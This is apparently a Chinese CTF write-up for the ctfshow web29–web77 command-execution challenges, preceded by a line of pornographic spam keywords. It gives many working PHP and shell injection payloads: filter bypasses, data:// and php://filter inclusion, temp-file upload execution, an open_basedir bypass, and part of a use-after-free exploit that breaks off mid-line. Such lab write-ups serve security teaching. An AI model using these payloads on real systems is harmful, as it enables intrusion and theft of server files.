中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁(yè) > news >正文

做網(wǎng)站建設(shè)的合同域名訪問(wèn)網(wǎng)站

做網(wǎng)站建設(shè)的合同,域名訪問(wèn)網(wǎng)站,想做找人做網(wǎng)站,六安 網(wǎng)站建設(shè)目錄 web29 過(guò)濾flag web30 過(guò)濾system php web31 過(guò)濾 cat|sort|shell|\. 這里有一個(gè)新姿勢(shì) 可以學(xué)習(xí)一下 web32 過(guò)濾 ; . web33 web34 web35 web36 web37 data偽協(xié)議 web38 短開(kāi)表達(dá)式 web39 web40 __FILE__命令的擴(kuò)展 web41 web42 重定向…

目錄

web29? 過(guò)濾flag

web30?? 過(guò)濾system php

web31 過(guò)濾??? cat|sort|shell|\.

這里有一個(gè)新姿勢(shì) 可以學(xué)習(xí)一下

web32 過(guò)濾 ;`` '' .

web33

web34

web35

web36

web37 data偽協(xié)議

web38 短開(kāi)表達(dá)式

web39

web40?? __FILE__命令的擴(kuò)展

web41

web42 重定向

web43

web44

web45

web46

web47

web48

web49

web50

web51

?web52

web53

web54? c=/bin/?at${IFS}fla?????

web55?? base64返回值? bzip2解壓后下載

base64

?bzip2

web56? 通過(guò)文件上傳和 . 來(lái)執(zhí)行命令

要注意 如果過(guò)濾了 空格 就無(wú)法實(shí)現(xiàn) 并且要通過(guò)system函數(shù)

web57? 過(guò)濾數(shù)字 但是通過(guò)shell拼湊數(shù)字的方式

0x01

web58? show_source

web59

web60

web62-65

web66? show_source被禁用

web67? print_r被禁用

web68 highlight_file被禁用

web69? var_dump 被禁用

web70

web71? ob_end_clean 清零緩沖區(qū)? UAF命令執(zhí)行

web72? bypass open_basedir

web73

web74

web75 PDD執(zhí)行讀取文件

web76

web77? FFI?(PHP 7 >= 7.4.0, PHP 8)


web29? 過(guò)濾flag

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

這里能發(fā)現(xiàn)是匹配flag? 但是存在高亮 高亮有需要路徑

同時(shí)存在eval? 命令執(zhí)行

所以我們傳入命令

但是過(guò)濾了flag

我們看看怎么繞過(guò)

?c=system("ls ./");

發(fā)現(xiàn)了 flag

我們繞過(guò)正則匹配flag字符串

payload1: ?c=system("cat f*");    f*匹配 f開(kāi)頭的文件
payload2: ?c=system("cat fl\ag.php");
payload3: ?c=system("cat fla?????");   一定要5個(gè) 因?yàn)?? 匹配一個(gè)任意字符 
payload4: ?c=echo `cat fl""ag.php`;    `` 內(nèi)聯(lián)
payload5: ?c=eval($_GET['1']);&1=system('cat flag.php');

web30?? 過(guò)濾system php


error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){
過(guò)濾了關(guān)鍵詞eval($c);}}else{highlight_file(__FILE__);
}

system 可以使用

exec代替

還存在很多

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引號(hào) 同shell_exec() 

php可以使用???代替

payload1: ?c=echo exec("cat f*");
payload2: ?c=echo exec("cat fla?????");

web31 過(guò)濾??? cat|sort|shell|\.

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

cat被過(guò)濾了

我們可以使用

more:一頁(yè)一頁(yè)的顯示檔案內(nèi)容less:與 more 類似 head:查看頭幾行tac:從最后一行開(kāi)始顯示,可以看出 tac 是cat 的反向顯示tail:查看尾幾行nl:顯示的時(shí)候,順便輸出行號(hào)od:以二進(jìn)制的方式讀取檔案內(nèi)容vi:一種編輯器,這個(gè)也可以查看vim:一種編輯器,這個(gè)也可以查看sort:可以查看
payload1: ?c=eval($_GET[1]);&1=system('cat  f*');
payload2: ?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

這里有一個(gè)新姿勢(shì) 可以學(xué)習(xí)一下

我們首先了解一下代碼

__FILE__ 表示當(dāng)前文件
完整路徑和文件名dirname()
獲取一個(gè)網(wǎng)站路徑的目錄名scandir()讀取目錄的文件 然后作為一個(gè)數(shù)組print_r()打印數(shù)組內(nèi)容
print_r(scnandir(dirname(__FILE__)));1.執(zhí)行 __FILE__ 獲取當(dāng)前文件的完整路徑 例如 /var/www/html/1.php2.執(zhí)行dirname 獲取目錄名 即 /var/www/html3.將目錄下的內(nèi)容轉(zhuǎn)為數(shù)組 4.通過(guò)print_r數(shù)組輸出

這里能發(fā)現(xiàn)當(dāng)前目錄下存在 flag.php 和 index.php

通過(guò)這個(gè)我們可以讀取 目錄文件

然后我們需要選中文件

print_r(next(array_reverse(scandir(dirname((__FILE__))))));array_reverse()  倒序排列next() 指向數(shù)組下一元素其實(shí)可以直接選擇?c=print_r(scandir(dirname((__FILE__)))[2]);

最后通過(guò)高亮返回代碼即可

?c=highlight_file(scandir(dirname((__FILE__)))[2]);

?web32 過(guò)濾 ;`` '' .

這道題把我們的 ) 也過(guò)濾了 所以剛剛學(xué)會(huì)的東西 沒(méi)辦法了

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

主要是符號(hào)的過(guò)濾

所以這道題

我們可以使用

payload1: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
payload2: ?c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>

web33

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
} 

和32差不多

過(guò)濾的東西不影響我們通過(guò)逃逸參數(shù)1?

/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34


error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

好像還是可以使用

只是多過(guò)濾了一個(gè) ;

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

一樣的 只要沒(méi)過(guò)濾 include 我們就可以使用之前的payload

這題我們使用看看 require

/?c=require$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

?web36


error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}過(guò)濾了數(shù)字  " =

沒(méi)什么 只要把參數(shù)1 變?yōu)?a? 就可以繞過(guò)了

/?c=require$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37 data偽協(xié)議

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

匹配flag的字符串

這里不能使用php://filter來(lái)讀取 因?yàn)檫^(guò)濾了flag

但是我們可以使用data偽協(xié)議

?c=data://text/plain,<?php system('tac fla?.php');?>

?在data中 還可以指定 ;base64

data://text/plain;bvase64,base64加密后的命令

web38 短開(kāi)表達(dá)式

error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

?c=data://text/plain,<?=system('tac fla?.?hp');?>

?這里是使用了短開(kāi)表達(dá)式

<?=? 相當(dāng)于 <?php echo?? 對(duì)后面的php也模糊匹配

就可以了

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}}else{highlight_file(__FILE__);
}
?c=data://text/plain,<?php system('tac fla?.php');?>

因?yàn)閐ata是將后面的php直接執(zhí)行

web40?? __FILE__命令的擴(kuò)展


if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
} 過(guò)濾了很多符號(hào)和數(shù)字

這里沒(méi)有過(guò)濾字母

可以使用我們之前的姿勢(shì)來(lái)讀取

?c=highlight_file(next(array_reverse((scandir(dirname((__FILE__)))))));

這里補(bǔ)充一下知識(shí)點(diǎn)

__FILE__:當(dāng)前文件的目錄print_r 數(shù)組的輸出print_r(dirname(__FILE__));可以打印出當(dāng)前文件的父級(jí)目錄print_r(scandir(dirname(__FILE__)));把父級(jí)目錄中的文件 通過(guò)數(shù)組來(lái)打印出來(lái)array_reverse()倒敘輸出next()
指向當(dāng)前指針的下一位end()
指向數(shù)組最后一位reset()
指向數(shù)組第一個(gè)prev()
指針往回走一位each()
返回當(dāng)前指針的值 并且指針向前走一位

web41

這道題就是使用師傅的腳本來(lái)跑就可以了

web42 重定向

if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}
system($c." >/dev/null 2>&1");我們的標(biāo)準(zhǔn)輸入為 1     輸出為2這個(gè)其實(shí)可分解1>/dev/null   輸入輸出到null 黑洞2>&1  輸出設(shè)為輸入其實(shí)就是直接把命令拋棄

這道題目我們直接使用 截?cái)嗉纯?/p>

payload1: ls%0a
payload2: ls;
payload3: ls&&ls 這里的&&需要url編碼  %26%26

payload1: cat flag.php%0a
payload2: cat flag.php;
payload3: cat flag.php&&ls 這里的&&需要url編碼  %26%26

?web43

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

過(guò)濾cat 和 分號(hào)

payload1: ls%26%26ls
payload2: ls%0a

payload1:tac flag.php%0a
payload2 tac flag.php%26%26ls

pay

?

?web44

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

加了過(guò)濾flag 可以使用模糊匹配

payload1:tac fla?.php%0a
payload2 tac fla?.php%26%26ls

web45


if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

加了個(gè)空格過(guò)濾

${IFS}
$IFS$9
<
<>
payload1:tac$IFS$9fla?.php%0a
payload2 tac$IFS$9fla?.php%26%26ls

?web46


if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

過(guò)濾數(shù)字 $ 還有*

%09 是 tab的url編碼

tac%09fla?.php%0a
tac%09fla?.php%26%26ls

?web47

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
} 

過(guò)濾了更多的命令 用上一個(gè)payload接著打

tac%09fla?.php%0a
tac%09fla?.php%26%26ls

web48

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
} 

好像還是可以接著打

只是過(guò)濾了更多的命令和 內(nèi)聯(lián)執(zhí)行

tac%09fla?.php%0a
tac%09fla?.php%26%26ls

web49


if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

但是我們這個(gè)在瀏覽器解析 自動(dòng)會(huì)解析為 tab和換行

所以過(guò)濾無(wú)法過(guò)濾

所以接著打

tac%09fla?.php%0a
tac%09fla?.php%26%26ls

web50

*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

發(fā)現(xiàn)過(guò)濾了26和09的編碼

并且這個(gè)題目的 ? 無(wú)法使用 所以我們需要通過(guò) 繞過(guò) 因?yàn)檎齽t只匹配flag完整字符串

tac<fla''g.php%0a
tac<fla''g.php||ls

web51


if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

過(guò)濾了一些輸出的命令

nl<fla''g.php%0a
nl<fla''g.php||ls

?web52


if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
} 

發(fā)現(xiàn)又過(guò)濾了 <>? 但是把我們的 $放出來(lái)了

這里我們首先先看看ls

?c=ls||

直接訪問(wèn)一下flag.php

/?c=nl${IFS}fla''g.php||

?發(fā)現(xiàn)沒(méi)有

我們看看根目錄

?c=ls${IFS}/||

發(fā)現(xiàn)了flag

直接訪問(wèn)

?c=nl${IFS}/fla''g||

?web53

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);$d = system($c);echo "<br>".$d;}else{echo 'no';}
}else{highlight_file(__FILE__);
} 
/?c=nl${IFS}fla?.php

?

?web54? c=/bin/?at${IFS}fla?????

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

發(fā)現(xiàn)nl也過(guò)濾了

這里還有其他讀取的方式

?c=paste${IFS}fla?.php

或者繼續(xù)使用cat

?通過(guò)模糊匹配

?c=/bin/?at${IFS}fla?????

web55?? base64返回值? bzip2解壓后下載

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
} 

過(guò)濾a-z字母

base64

我們可以通過(guò)bin下的base64命令返回

?c=/???/????64 ????.???

?

?bzip2

bzip是存在 /usr/bin/bzip2

所以我們構(gòu)造

?c=/???/???/????2 ????.???

然后訪問(wèn)

/flag.php.bz2

得到文件

web56? 通過(guò)文件上傳和 . 來(lái)執(zhí)行命令

要注意 如果過(guò)濾了 空格 就無(wú)法實(shí)現(xiàn) 并且要通過(guò)system函數(shù)

\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\%|\x09|\x26|\x0a|\>|\,|\*|\<|這個(gè)情況的過(guò)濾不可使用\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\%|\x09|\x26|\x0a|\>|\,|\*|\<這個(gè)情況下的過(guò)濾可以使用因?yàn)榈谝粋€(gè)是會(huì)匹配所有字符在自己測(cè)試這里蠢了 困擾了很久

無(wú)字母數(shù)字的命令執(zhí)行(ctfshow web入門 55)_無(wú)字母數(shù)字執(zhí)行命令_Firebasky的博客-CSDN博客

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

// 你們?cè)陟偶紗?#xff1f;
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

過(guò)濾了很多符號(hào)

過(guò)濾了數(shù)字和字母

我們無(wú)法使用數(shù)字和字母來(lái)執(zhí)行命令

但是其沒(méi)有過(guò)濾 . (點(diǎn))

這道題主要的方向

1.沒(méi)有過(guò)濾. 
在linux中 .不需要x權(quán)限就可以執(zhí)行所以我們?nèi)绻幸粋€(gè)可控的文件
那么我們可以直接執(zhí)行這個(gè)文件2.我們?nèi)绻蟼饕粋€(gè)文件 一般情況下是臨時(shí)保存在 ./tmp/phpXXXXXX中其中后六位是隨機(jī)生成的大小寫字母

這里我們就可以通過(guò)本地的網(wǎng)站 鏈接到 攻擊的靶場(chǎng) 然后通過(guò)post文件

達(dá)到執(zhí)行我們上傳的木馬文件

但是我們?nèi)绾瓮ㄟ^(guò)過(guò)濾去訪問(wèn)文件呢

./tmp/phpXXXXXX 首先我們可以通過(guò) ? 來(lái)模糊匹配./???/???XXXXXX 那我們?nèi)绾纹ヅ浜竺娴哪匾驗(yàn)?tmp/ 下會(huì)有很多類似的文件所以我們可以通過(guò)正則匹配來(lái)匹配文件

我們能發(fā)現(xiàn)

?大寫字母在 @和[之間

那我們只需要通過(guò)正則匹配 @-[即可

所以我們get的方式就是

?c=.+/???/????????[@-[]
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST數(shù)據(jù)包POC</title>
</head>
<body>
<form action="http://cd3eb1d9-31ec-4644-b057-c38153f6a911.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--鏈接是當(dāng)前打開(kāi)的題目鏈接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

本地搭建發(fā)送包的文件

隨便上傳一個(gè)文件

?這樣就行了

然后通過(guò)pwd 執(zhí)行絕對(duì)路徑

cat /var/www/html/flag.php

如果沒(méi)有回顯就多發(fā)幾次 因?yàn)樽詈笠晃徊灰欢ㄊ谴髮?/p>

web57? 過(guò)濾數(shù)字 但是通過(guò)shell拼湊數(shù)字的方式

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/// 還能炫的動(dòng)嗎?
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
} 

發(fā)現(xiàn)過(guò)濾了 ? . 所以56的方法也無(wú)法實(shí)現(xiàn)

這里提示我們 flag是在36.php處

需要運(yùn)用到linux shell的特性

0x01

${_} 返回上一條命令

?

?那我們?nèi)绻麤](méi)有命令呢

$(())
做運(yùn)算

那如果我們將 ${_}的值放入是多少呢

echo $((${_}))

?

這里就相當(dāng)于 $((0))?? 將0 做運(yùn)算 那么就是 0

那我們?nèi)绻?通過(guò) ~ 取反呢

發(fā)現(xiàn)取反后是-1

那我們?nèi)绻胍?2怎么辦

-1-1=-2

?所以我們只需要將兩個(gè) -1做運(yùn)算即可

echo $(($((~${_}))$((~${_})))) 

那我們想要-3也很簡(jiǎn)單了

echo $(($((~${_}))$((~${_}))$((~${_})))) 

那既然他說(shuō)是在 36.php 那我們直接拼湊 -36出來(lái)

echo $(($((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))))

?

?那我們?cè)僮鲆淮稳》醇纯?/p>

但是取反后是35 所以我們?cè)谧詈笤偌右粋€(gè)即可

echo $((~$(($((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))))))echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

?現(xiàn)在我們就可以直接訪問(wèn)36了

但是我們無(wú)法知道命令

所以我們可以使用

$(($(())))0$(($((~$(())))$((~$(())))))-2$(($((~$(())))$((~$(())))$((~$(())))))-3

但是其實(shí)兩個(gè)方式都可以訪問(wèn) 只是第一個(gè)著重于命令

web58? show_source

<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你們?cè)陟偶紗?#xff1f;
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
} 

發(fā)現(xiàn)是變?yōu)?POST了

首先通過(guò)post傳遞system()

c=system(ls);

?

?發(fā)現(xiàn)禁用了

?其他函數(shù)都被禁用了

所以只能使用php內(nèi)置函數(shù)

c=print_r(scandir(dirname(__FILE__)));

c=highlight_file(scandir(dirname(__FILE__))[2]);

或者直接使用show_source來(lái)讀取

c=show_source('flag.php');

web59

<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你們?cè)陟偶紗?#xff1f;
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
} 

繼續(xù)嘗試

c=highlight_file(scandir(dirname(__FILE__))[2]);

這個(gè)方法還是可以

發(fā)現(xiàn)題目是一樣的 我也不懂

c=show_source('flag.php');

web60

<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你們?cè)陟偶紗?#xff1f;
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
} 

發(fā)現(xiàn)還是一樣的

web62-65

全是一樣的。。。。

web66? show_source被禁用

<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你們?cè)陟偶紗?#xff1f;
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
} 
c=highlight_file(scandir(dirname(__FILE__))[2]);

?發(fā)現(xiàn)文件不對(duì)

那我們直接去根目錄看看

c=print_r(scandir('/'));

?發(fā)現(xiàn)了flag.txt那我們直接讀取就可以了

c=highlight_file('/'.scandir('/')[6]);c=highlight_file(/flag.txt);

web67? print_r被禁用

?發(fā)現(xiàn)print_r被禁用了

那我們還有一個(gè)var_dump

c=var_dump(scandir('/'));

讀取即可

c=highlight_file('/flag.txt');

web68 highlight_file被禁用

?一打開(kāi)就是 報(bào)錯(cuò)

那我們就知道是 highlight_file 被禁止

我們繼續(xù)看看

c=var_dump(scandir('/'));

那我們直接包含 flag.txt文件

c=include('/flag.txt');

web69? var_dump 被禁用

?那我們可以使用另一個(gè)

c=var_export(scandir('/'));

?然后繼續(xù)include訪問(wèn)

c=include('/flag.txt');

web70

?和上一題一樣做法

c=var_export(scandir('/'));
c=include('/flag.txt');

web71? ob_end_clean 清零緩沖區(qū)? UAF命令執(zhí)行

?給了我們?cè)创a

<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
ini_set('display_errors', 0);
// 你們?cè)陟偶紗?#xff1f;
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();
結(jié)果存入緩沖區(qū)ob_end_clean();
刪除清楚緩沖區(qū)echo preg_replace("/[0-9]|[a-z]/i","?",$s);
如果 s存在 數(shù)字字母就用 ?代替
}else{highlight_file(__FILE__);
}?>你要上天嗎?

這里主要是兩個(gè)函數(shù)

ob_get_contents()
得到的值存入緩沖區(qū)
ob_end_clean()
將緩沖區(qū)清除

這里能發(fā)現(xiàn)第一次的輸出 沒(méi)有實(shí)現(xiàn)

而是輸出了第二次的

那我們思考 我們能不能直接輸入一個(gè)exit() 退出指令

讓程序執(zhí)行完我們的命令后直接退出

c=include('/flag.txt');exit();

?首先我們看看沒(méi)有exit函數(shù)的情況

?訪問(wèn)兩個(gè)flag

?發(fā)現(xiàn)會(huì)先讀取 然后就進(jìn)行緩沖區(qū)的刪除 因?yàn)槲覜](méi)有送入緩沖區(qū) 所以沒(méi)有顯示

?發(fā)現(xiàn) 我們只要加了函數(shù)后 程序就退出了

所以執(zhí)行完include后 執(zhí)行exit 這樣就退出了 就不會(huì)執(zhí)行下面的函數(shù)了

這樣我們這道題也做完了

c=include('/flag.txt');exit();

?

web72? bypass open_basedir

<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
ini_set('display_errors', 0);
// 你們?cè)陟偶紗?#xff1f;
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>你要上天嗎?

這里遇到了open_basedr的限制

繞過(guò) open_basedir_雙層小牛堡的博客-CSDN博客

學(xué)習(xí)完后來(lái)測(cè)試這個(gè)題目

通過(guò) glob協(xié)議配合函數(shù)接口繞過(guò) open_basedir 然后再繞過(guò) 緩沖區(qū)清零清理

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

繞過(guò)了 并且打印了 根目錄的內(nèi)容 那么我們 看看能不能訪問(wèn)

對(duì)于uaf 了解很少? 應(yīng)該是pwn的內(nèi)容

<?phpfunction ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : 